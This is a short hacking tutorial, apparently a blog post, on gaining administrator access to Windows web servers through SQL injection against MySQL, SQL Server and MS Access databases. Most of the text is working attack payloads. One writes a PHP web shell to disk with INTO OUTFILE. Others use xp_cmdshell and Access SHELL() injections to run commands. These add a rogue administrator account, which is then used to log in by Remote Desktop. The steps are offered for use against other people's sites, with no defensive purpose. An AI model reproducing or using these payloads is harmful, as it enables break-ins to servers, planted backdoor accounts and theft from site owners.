~~~~:::::BENZI Tutorials :::::~~~~~~
This tut will teach you how to get zero-access (root) on win servers.
TOC
-mysql
-sql server
-msaccess
mysql
conditions:
-magic quotes off
-you have the full path
-load_file privileges
**if you see error 13,stop injecting.
let say you found a vuln on site,and the n.o columns is 5.
for example-
Code:
site.com/index.php?id=1 union select 1,2,3,4,5
Code:
site.com/index.php?id=1 union select 1,2,version(),4,5
Quote:5.01.56-nt-logits windows,because "nt".
you can also do
Code:
site.com/index.php?id=1 union select 1,2,@@version_compile_os,4,5
we will start injecting
Code:
union select 1,2,"<? system($_REQUEST['cmd']); ?>",4,5 INTO OUTFILE "/full/path/here/cmd.php"
we have sent a request to run cmd commands into the file "cmd.php"
in the "/full/path/here" put the full path,something like
/home/some_user/public_html/site/index.php
now we go to our file
site.com/cmd.php
you will see the numbers 1,2,4,5 cause there are the union columns.
now for execute cmd commands,we do like this
site.com/cmd.php?cmd=[command here]
(the command "-is -la" returns all the files,for example)
now,we will add a new user.
site.com/cmd.php?cmd=net user uname upass /add
user added.
site.com/cmd.php?cmd=net localgroup administrators uname /add
we added our user to the admins.
now goto start > cmd
and ping the site
ping site.com
now you will see "Pinging ... [ip.ip.ip.ip] with 32 bytes of data:
now,goto strat > all programs > accessories > remote desktop connection
and type the ip from the ping
login with the user&pass we added
Pwnd..
sql server
conditions:
-win server 2000/3
-exec on
this process is shorter,cause we can run cmd commands with xp_cmdshell.
lets start
let say we know the file index.php is vuln,for example
Code:
site.com/index.asp?id=1
Code:
site.com/index.asp?id=(select+@@version)
Quote:Syntax error...value 'microsoft sql server 2000....' to .....int.so we know that the server is microsoft sql server 2000.
now,to run a cmd command,we do this
Code:
site.com/index.asp?id=1;exec+master..xp_cmdshell 'net user uname upass /add'--
Code:
site.com/index.asp?id=1;exec+master..xp_cmdshell "net user uname upass /add"--)
Code:
site.com/index.asp?id=1;exec+master..xp_cmdshell 'net localgroup administrators uname /add'--
and ping the site
ping site.com
now you will see "Pinging ... [ip.ip.ip.ip] with 32 bytes of data:
now,goto strat > all programs > accessories > remote desktop connection
and type the ip from the ping
login with the user&pass we added
Pwnd..
ACCESS
conditions:
-JET db
msaccess is no so different than sql server.
if we know that the file index.asp is vuln,we do this to run cmd commands:
Code:
site.com/index.asp?id=1 AND SHELL('cmd.exe /c net user uname upass /add')
Code:
site.com/index.asp?id=1 AND SHELL('cmd.exe /c net localgroup administrators uname /add')
goto start > cmd
and ping the site
ping site.com
now you will see "Pinging ... [ip.ip.ip.ip] with 32 bytes of data:
now,goto strat > all programs > accessories > remote desktop connection
and type the ip from the ping
login with the user&pass we added
Pwnd..
hope you learned something
0 komentar:
Posting Komentar